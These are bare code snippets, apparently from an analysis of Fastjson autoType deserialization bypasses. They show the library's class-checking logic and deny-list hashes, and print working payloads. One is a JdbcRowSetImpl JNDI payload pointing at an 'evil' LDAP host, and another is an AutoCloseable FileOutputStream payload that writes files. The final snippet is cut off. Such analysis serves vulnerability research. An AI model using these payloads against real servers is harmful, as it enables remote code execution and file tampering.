1
if (autoTypeSupport || expectClass != null) {
2
    long hash = h3;
3
    for (int i = 3; i < className.length(); ++i) {
4
        hash ^= className.charAt(i);
5
        hash *= PRIME;
6
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
7
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
8
            if (clazz != null) {
9
                return clazz;
10
            }
11
        }
12
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
13
            throw new JSONException("autoType is not support. " + typeName);
14
        }
15
    }
16
}

1
if (clazz == null) {
2
    clazz = TypeUtils.getClassFromMapping(typeName);
3
}
4

5
if (clazz == null) {
6
    clazz = deserializers.findClass(typeName);
7
}
8

9
if (clazz != null) {
10
    if (expectClass != null
11
            && clazz != java.util.HashMap.class
12
            && !expectClass.isAssignableFrom(clazz)) {
13
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
14
    }
15

16
    return clazz;
17
}

1
if (!autoTypeSupport) {
2
    long hash = h3;
3
    for (int i = 3; i < className.length(); ++i) {
4
        char c = className.charAt(i);
5
        hash ^= c;
6
        hash *= PRIME;
7

8
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
9
            throw new JSONException("autoType is not support. " + typeName);
10
        }
11

12
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
13
            if (clazz == null) {
14
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
15
            }
16

17
            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
18
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
19
            }
20

21
            return clazz;
22
        }
23
    }
24
}

1
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
2
                "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
3
                "\"ldap://127.0.0.1:1389/evil\",\"autoCommit\":true}}}"

1
Object obj = deserializer.deserialze(this, clazz, fieldName);

1
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
2
    parser.resolveStatus = DefaultJSONParser.NONE;
3
    parser.accept(JSONToken.COMMA);
4

5
    if (lexer.token() == JSONToken.LITERAL_STRING) {
6
        if (!"val".equals(lexer.stringVal())) {
7
            throw new JSONException("syntax error");
8
        }
9
        lexer.nextToken();
10
    } else {
11
        throw new JSONException("syntax error");
12
    }
13

14
    parser.accept(JSONToken.COLON);
15

16
    objVal = parser.parse();
17

18
    parser.accept(JSONToken.RBRACE);

1
boolean jsonType = false;
2
InputStream is = null;
3
try {
4
    String resource = typeName.replace('.', '/') + ".class";
5
    if (defaultClassLoader != null) {
6
        is = defaultClassLoader.getResourceAsStream(resource);
7
    } else {
8
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
9
    }
10
    if (is != null) {
11
        ClassReader classReader = new ClassReader(is, true);
12
        TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
13
        classReader.accept(visitor);
14
        jsonType = visitor.hasJsonType();
15
    }
16
} catch (Exception e) {
17
    // skip
18
} finally {
19
    IOUtils.close(is);
20
}

1
final int mask = Feature.SupportAutoType.mask;
2
boolean autoTypeSupport = this.autoTypeSupport
3
        || (features & mask) != 0
4
        || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
5

6
if (autoTypeSupport || jsonType || expectClassFlag) {
7
    boolean cacheClass = autoTypeSupport || jsonType;
8
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
9
}
10

11
if (clazz != null) {
12
    if (jsonType) {
13
        TypeUtils.addMapping(typeName, clazz);
14
        return clazz;
15
    }
16

17
    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
18
            || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
19
            || javax.sql.RowSet.class.isAssignableFrom(clazz) //
20
            ) {
21
        throw new JSONException("autoType is not support. " + typeName);
22
    }
23

24
    if (expectClass != null) {
25
        if (expectClass.isAssignableFrom(clazz)) {
26
            TypeUtils.addMapping(typeName, clazz);
27
            return clazz;
28
        } else {
29
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
30
        }
31
    }
32

33
    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
34
    if (beanInfo.creatorConstructor != null && autoTypeSupport) {
35
        throw new JSONException("autoType is not support. " + typeName);
36
    }
37
}

1
{"@type": "java.lang.AutoCloseable","@type": "java.io.FileOutputStream","file": "/tmp/asdasd","append": true}

1
{
2
    "@type":"java.lang.AutoCloseable",
3
    "@type":"java.io.FileOutputStream"
4
}

1
 {"@type":"java.lang.AutoCloseable"